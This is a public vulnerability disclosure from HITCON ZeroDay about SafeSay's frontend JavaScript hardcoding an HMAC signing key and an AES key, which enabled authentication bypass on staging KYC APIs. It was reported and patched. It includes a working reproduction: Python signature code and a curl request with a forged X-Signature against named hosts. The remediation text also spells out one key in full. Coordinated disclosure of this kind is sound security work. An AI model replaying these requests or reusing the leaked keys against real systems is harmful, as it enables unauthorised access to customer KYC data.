互動資通 SafeSay 前端 JS bundle 硬編碼 HMAC-SHA256 金鑰 + AES 加密金鑰(Staging KYC API 認證繞過) - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00612
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 SafeSay 前端 JS bundle 硬編碼 HMAC-SHA256 金鑰 + AES 加密金鑰(Staging KYC API 認證繞過)
  • Introduction: 某企業即時通訊 SaaS 平台的前端 JavaScript bundle 以明文硬編碼兩個密鑰:(1) HMAC-SHA256 簽名密鑰(用於 KYC API 的 `X-Signature` 請求驗證),(2) AES 加密金鑰(用於 localStorage 敏感 token 加密)。攻擊者從公開可存取的前端 bundle 即可提取上述密鑰,無需任何帳號或認證。使用硬編碼 HMAC 密鑰,Staging 伺服器的 KYC API 在無任何 session token 的情況下即通過驗證(HTTP 424
  • 感謝函

處理狀態

目前狀態

公開
Last Update : 2026/07/09
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/04/30 18:14:19 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/05 00:21:36 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:30:56 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:30:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:30:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/26 15:27:08 : 修補中 (由 組織帳號 更新此狀態)
  • 2026/06/26 17:07:03 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/07/02 09:03:53 : 未修補完成 (由 罐頭 更新此狀態)
  • 2026/07/02 15:48:22 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/07/08 11:08:58 : 確認已修補 (由 罐頭 更新此狀態)
  • 2026/07/09 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00612
  • 通報者:guan4tou2 (罐頭)
  • 風險:中
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://stage.safesay.net/static/js/index.Cxb-sAmW.js
https://sbapi.safesay.net/v2/saas/kyc/company
https://bapi.safesay.net/v2/saas/kyc/company
https://uat-safesay-e8dapi.e8d.tw/v2/saas/kyc/company

敘述

漏洞概述

SafeSay 前端 JavaScript bundle 硬編碼兩個密鑰:

  1. HMAC-SHA256 簽名密鑰terguhjzv3tiyojco6q9sg96.......
    • 用於 /v2/saas/kyc/company/v2/saas/kyc/contact API 請求的 X-Signature 驗證
  2. AES 加密金鑰SAAS_ENC.......(從 bundle 中 base64 U0FBU19FTkNSWV...... 解碼)
    • 用於 localStorage AES 加密/解密(saas_vt JWT、access_token 等敏感 token)

進一步驗證:Staging 服務器(sbapi.safesay.net)在使用上述 HMAC 密鑰簽名後,無需 session token 即可通過 KYC API 驗證(HTTP 424,而非 401),確認 staging authentication bypass。

重現步驟(Live verified: 2026-04-29)

步驟 1:從 JS bundle 提取 HMAC 密鑰

// stage.safesay.net/static/js/index.Cxb-sAmW.js(2026-04-30 更新,舊 bundle index.B-XmViJg.js 已失效)
// fetchKycCompanyApi 函式(搜尋 "X-Signature"):
const t = "terguhjzv3tiyojco6q9sg96nw674d.........";
const r = JSON.stringify(e);
const a = CryptoJS.HmacSHA256(r, t).toString(CryptoJS.enc.Hex);
const o = await api$1.post("/v2/saas/kyc/company", e, {headers: {"X-Signature": a);

// AES 金鑰(搜尋 "ENCRYPT_SECRET"):
ENCRYPT_SECRET = gBase64.decode("U0FBU19FTkNSW........")
// = "SAAS_ENCR......"

步驟 2:計算 HMAC-SHA256 簽名

import json, hmac, hashlib

SECRET = 'terguhjzv3tiyojco6q9sg96n.....'
body = {'kycCompanyID': '1'}
body_str = json.dumps(body, separators=(',', ':'))
sig = hmac.new(SECRET.encode(), body_str.encode(), hashlib.sha256).hexdigest()
print(sig)
# → fd4d804a5158f80214fc8fe529fbe73.......

步驟 3:無 session token 請求 Staging KYC API

curl -sk -X POST "https://sbapi.safesay.net/v2/saas/kyc/company" \
  -H "Content-Type: application/json" \
  -H "X-Signature: fd4d804a5158f80214fc8fe5......" \
  -d '{"kycCompanyID":"1"}'

Staging 回應:

{"msg":"失敗的依賴"}

HTTP 424 — 通過 HMAC 驗證,外部 KYC 服務查無此公司

對比生產(bapi.safesay.net)相同請求回應:

{"msg":"未經授權"}

HTTP 401 — 生產需要 session token + HMAC

步驟 4:AES 金鑰確認

import base64
base64.b64decode("U0FBU19FTkNS.....").decode()
# → 'SAAS_ENC......'

此金鑰用於 CryptoJS.AES.encrypt/decrypt(data, "SAAS_ENC.....") 加密 localStorage 中的 saas_vt(登入驗證 token)、access_token 等敏感項目。

已驗證影響(Verified)

  • ✅ HMAC-SHA256 金鑰從公開 JS bundle 提取(無需任何認證)
  • ✅ Staging sbapi.safesay.net KYC API 使用 HMAC 金鑰在無 session 情況下通過驗證(HTTP 424 vs 401)
  • ✅ UAT uat-safesay-e8dapi.e8d.tw KYC API 同樣使用相同 HMAC 金鑰通過驗證(HTTP 424,2026-04-29 追加確認)
  • ✅ AES 金鑰 SAAS_ENCRY........ 確認(可解密任意 SafeSay localStorage 加密項目)

潛在影響(Potential)

  • 攻擊者使用 HMAC 密鑰可對 staging KYC API 提交任意公司查詢
  • AES 金鑰洩漏:取得 SafeSay 用戶 localStorage 的攻擊者(如透過 XSS)可解密 saas_vt JWT 和 access_token
  • 若 staging 使用相同 KYC 資料庫,可枚舉 kycCompanyID 存取客戶 KYC 資料

漏洞根因

  1. 前端 JS bundle 包含伺服器端 HMAC 簽名密鑰(應只在伺服器端保存)
  2. AES 加密金鑰 hardcoded 在 JS bundle 中(客戶端加密形同無加密)
  3. Staging 伺服器驗證邏輯與生產不同,僅要求 HMAC 而不要求 session token

修補建議

1. 立即:從前端 JS bundle 移除 HMAC 密鑰;改為伺服器端簽名(前端只傳請求體,伺服器端計算 HMAC)
2. 立即:輪換 HMAC 密鑰(`terguhjzv3ti...`)和 AES 密鑰(`SAAS_ENCRYPT_SALT_2026`)
3. 短期:Staging 和生產服務器統一驗證邏輯(staging 也應要求 session + HMAC 雙重驗證)
4. 短期:不要依賴客戶端 AES 加密保護敏感 token(改用 HttpOnly cookie)

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;